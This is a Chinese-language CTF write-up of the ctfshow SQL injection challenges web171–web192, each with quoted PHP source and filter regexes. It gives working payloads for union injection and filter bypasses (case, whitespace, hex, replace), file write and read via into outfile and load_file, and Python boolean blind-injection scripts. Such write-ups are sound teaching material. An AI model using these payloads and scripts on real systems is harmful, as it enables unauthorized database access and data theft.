SELECT模块

web171(经典sql注入)

题目给的部分源码如下

1
2
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

可以看到执行的sql语句接收$id这个传参,而flag大概率藏在username字段值为flag的数据中

首先闭合前面的单引号,然后拼接上or username='flag',由于后面已经存在单引号,可以留出单引号的位置

所以payload为1' or username='flag

web172(字段值绕过)

题目给的部分源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

首先确认该表共有几个字段

1' order by 2 -- qwe

发现共有两个

通过information_schema库获取当前username表中有哪些字段

1' union select 1,column_name from information_schema.columns where table_name='ctfshow_user2' and table_schema=database() -- qwe

要找的flag在passwd字段中

由于返回有检测username字段的值是否为flag,那么将username字段用数字1代替即可

最终payload为1' union select 1,password from ctfshow_user2 where username='flag' -- qwe

web173(回显16进制绕过)

题目给的部分源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

首先判断该表有几个字段

1' order by 4 -- qwe时无显示

说明有三个字段

测试发现三个数据位均有回显

由于对回显结果中的flag有检测

只需将用户名的返回字段额外处理一下,比如转为十六进制

最后payload为-1' union select id,hex(username),password from ctfshow_user3 where username='flag' -- qwe

web174(replace绕过)

题目给的部分源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

首先判断该表有几个字段

1' order by 3 -- qwe时无显示

说明有两个字段

测试发现两个数据位均有回显

由于源码对回显结果中的flag以及数字0到9均有检测

我们直接将username字段用字母替换即可绕过对值flag的检测

这里需要绕过过滤的主要是flag括号中的数字,可以使用replace绕过

最后payload为-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username = 'flag' -- qwe

替换后的flag为ctfshow{f@B@Hbabd@C-@E@A@B@I-@D@Bf@E-b@E@Gb-@J@I@C@A@A@F@E@H@Ja@Ha}

使用如下python脚本替换回来

1
2
3
4
Cipher = "ctfshow{f@B@Hbabd@C-@E@A@B@I-@D@Bf@E-b@E@Gb-@J@I@C@A@A@F@E@H@Ja@Ha}"
flag = Cipher.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")

print(flag)

web175(导出回显)

题目给的部分源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

首先判断该表有几个字段

1' order by 3 -- qwe时无显示

说明有两个字段

过滤中[\x00-\x7f] 匹配ASCII值从0-127的字符,基本上所有能显示的字符都被过滤掉了

由于前端页面无法显示返回的信息,我们尝试把返回信息导出到文件

最后payload为-1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt' -- qwe

导出的flag在网站的/ctf.txt路径下

web176(大小写绕过)

题目给的部分源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

题目提示对传入参数进行了过滤

先尝试最普通的联合注入-1' union select id,username,password from ctfshow_user where username ='flag' -- qwe

没有回显

尝试改变关键字的大小写,因为SQL语句对关键字大小写不敏感

-1' union Select id,username,password from ctfshow_user where username ='flag' -- qwe通过

说明题目是对selcet关键字进行了过滤

web177(空格绕过1)

题目提示对传入参数进行了过滤

尝试让payload中不涉及关键字

-1' or username ='flag' -- qwe

没有回显

考虑可能是对字符进行了过滤,最常见的是对空格的过滤

将空格替换为/**/

由于空格被过滤,注释--空格也无法使用,替换为%23

-1'Union/**/Select/**/id,username,password/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23

web178(空格绕过2)

使用1' or 'a' = 'a测试,发现不给过,说明仍然存在空格过滤

尝试使用注释绕过,测试1'or/**/'a'='a,发现仍然不给过,说明注释也被ban掉了

测试1'or'a'='a'%23通过,说明注释中%23还能用,可能是只ban掉了/**/

那么这题可以使用括号绕过空格过滤

payload为-1'Union(Select(id),(username),(password)from(ctfshow_user)where(username)='flag'%23

成功获取flag

web179(空格绕过3)

这题仍然是可以使用括号绕过空格

我们也可以尝试一下其他方法,比如换页符%0c

payload为-1'Union%0cSelect%0cid,username,password%0cfrom%0cctfshow_user%0cwhere%0cusername%0c='flag'%23

web180(空格绕过4)

测试1'or'a'='a'%23不通过,测试1'or'a'='a通过,说明#注释被过滤

可以换成or'1'='--%0c来闭合或注释掉后面的引号

payload为-1'Union%0cSelect%0cid,username,password%0cfrom%0cctfshow_user%0cwhere%0cusername%0c='flag'--%0c

web181(空格绕过5)

源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

这题对大部分绕过空格的都做了过滤,同时大小写的关键字select均被过滤

考虑在原本的sql语句上加特定条件

paylaod为-1'or(username)='flag

web182(通配符绕过)

源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

本题多过滤了flag,那么我们可以考虑使用通配符%来绕过

payload为-1'or(username)like'f%

web183(布尔盲注1)

源码如下

1
2
3
4
5
6
7
8
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
//返回用户表的记录总数
$user_count = 0;

本题将or给过滤了,同时sql语句也发生了变化,返回的内容不再是数据的内容,而是内容的数量,很符合盲注的条件

所以我们考虑使用布尔盲注

从头盲注代码量太大,这里我们利用之前题目的信息,确定表名是ctfshow_user

而题目以及提示字段名为pass,所以我们直接判断数据项的内容即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import time
url="http://221413c4-c7b2-4e59-8ad0-bf9a144652c3.challenge.ctf.show/select-waf.php"

strlist = '{}0123456789-abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_'
flag = ''

while True:
for i in strlist:
data = {
'tableName': "`ctfshow_user`where`pass`like'ctfshow{}%'".format(flag+i)
}
respond = requests.post(url, data=data)
respond = respond.text
if 'user_count = 1' in respond:
print('--------------------正确',i)
flag += i
print('ctfshow{}'.format(flag))
break
if flag[-1] == '}':exit() #判断 flag 是否获取完整

web184(布尔盲注2)

源码如下

1
2
3
4
5
6
7
8
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;

相比于上一题,本题将where和sleep等关键词过滤,说明不允许使用时间盲注

而关键字where + like可以使用group by + having来替代

最后是单双引号都被禁用,我们可以将字段值用16进制来表示,这样可以避免使用引号

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time
url="http://5bbff075-99dc-4ee3-8ec4-493b37b510b5.challenge.ctf.show/select-waf.php"

flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_" #40
flag=""
for i in range(0,40):
for x in flagstr:
data={
"tableName":"ctfshow_user group by pass having pass like 0x63746673686f777b{}25".format("".join(hex(ord(i))[2:] for i in flag+x))
}
#print(data)
response=requests.post(url,data=data)
#有并发数量限制的,就睡一段时间
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print("ctfshow{"+flag)
if(flag[-1]=="}"):
break

web185(布尔盲注3)

源码如下

1
2
3
4
5
6
7
8
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;

本题将所有数字都给过滤

我们可以通过true+true+……的方法构造数字

只需在前一题脚本中加上下面的替换函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def formatString(str):
temp="concat("
for x in str:
tip=0
if x in string.digits:
tmp=int(x)
else:
tip=1
temp+="char("
tmp=ord(x)
if tmp == 0:
temp+="false"
else:
temp_d="("
for i in range(0,tmp):
temp_d+="true+"
temp_d=temp_d[:-1]+")"
if tip==1:
temp_d+=")"
temp+=temp_d
temp+=","
# 去掉最后一个逗号,将其改为反括号
temp=temp[:-1]+")"
return temp

web186(布尔盲注4)

源码如下

1
2
3
4
5
6
7
8
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;

本关将%><^给过来了,不过由于我们的盲注脚本使用的是regexp()匹配,所以不影响

web187(md5)

$password = md5($_POST['password'],true);

我们需要了解一下md5()函数中,设置true参数有什么用

string md5( string $str[, bool $raw_output = false] )

  • raw_output:如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

那么当我们输入的password参数内容在计算md5哈希值后,会将哈希值根据转为原始二进制数据的字符串

此时我们可以通过精心构造输入,例如ffifdyop

它在经过md5函数后会得到'or'6�]��!r,��b

那么就可以作为万能密码来使用

web188(弱类型比较)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

本关中限制密码为纯数字

那么我们可以利用php和sql中的弱类型比较特性

当我们在username处输入0,那么该SQL语句会返回找到的第一个用户名为纯字母字符串或者第一个字符为0的数据项的密码

而当我们在密码栏填入0,那么在进行$row['pass']==intval($password)这一语句的比较时,同样会应用弱类型比较的特点,如果密码的第一个字符为字母或0,那么就会判为相等

web189(构造盲注注入点)

题目提示flag在api/index.php文件中

那么我们可以通过load_file读取文件,以用户名处作为注入点

由于无回显,我们尝试使用盲注

在密码处我们随便填一个数字

那么此时就会产生两种回显:

  1. username=0,返回“密码错误”。
  2. username=1,返回“查询失败”。

相当于username参数的不同布尔值返回不同结果,可以使用布尔盲注

记录一下页面回显中的不同处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# @Author:Kradress
from operator import concat
import requests
import string

url = 'https://7a230a5a-ef27-4fa1-b68b-cb73e8c6aa2e.challenge.ctf.show/api/'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = "if(load_file('/var/www/html/api/index.php')regexp('ctfshow{" #ctfshow{
flag = 'ctfshow{'

for i in range(40):
for char in uuid:
data = {
'username' : passwd + f"{char}'),0,1)",
'password' : 0
}
res = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
passwd += char
flag += char
print(flag)
break
if passwd[-1] == "}":
break

web190(布尔盲注)

和上一题一样,盲注的注入点在用户名处

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from operator import concat
import requests
import time

url = 'https://c4078d3f-26b4-4a46-8cee-fff64a032d22.challenge.ctf.show/api/'
# 表名 ctfshow_fl0g,ctfshow_user
# payload = "0' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- "
# 列名 id,f1ag,id,username,pass
# payload = "0' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},1,0) -- "
# 详细值
# payload = "0' or if(ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{},1,0) -- "
# flag
payload = "0' or if(ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{},1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 0
end = 255
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, p),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
if end == 1:
break
result += chr(end)
print(f"[*] result: {result}")
time.sleep(0.1)
index += 1

首先通过information_schema.tables获取所有的表名

0' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0) --

接下来获取ctfshow_fl0g表中的字段

0' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},1,0) --

flag应该在f1ag字段中,爆破其中的flag

web191(布尔盲注+过滤1)

1
2
3
4
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

用户名和进行了额外过滤,即禁止将查询内容导出,同时也禁用了ascii关键字

除了比较两个字符的ascii码,我们可以直接使用大于号>来比较两个字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from operator import concat
import requests
import time

url = 'https://9d7f92d3-684e-4e4f-a9fd-f103712ccac3.challenge.ctf.show/api/'
# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 ID,F1AG,ID,usErNAME,pAss
# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# 详细值
# payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 0
end = 255
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, chr(p)),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
time.sleep(0.1)
index += 1

web192(布尔盲注+过滤2)

1
2
3
4
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

本题将ascii和ord等关键字禁用

依然可以使用上一题的盲注脚本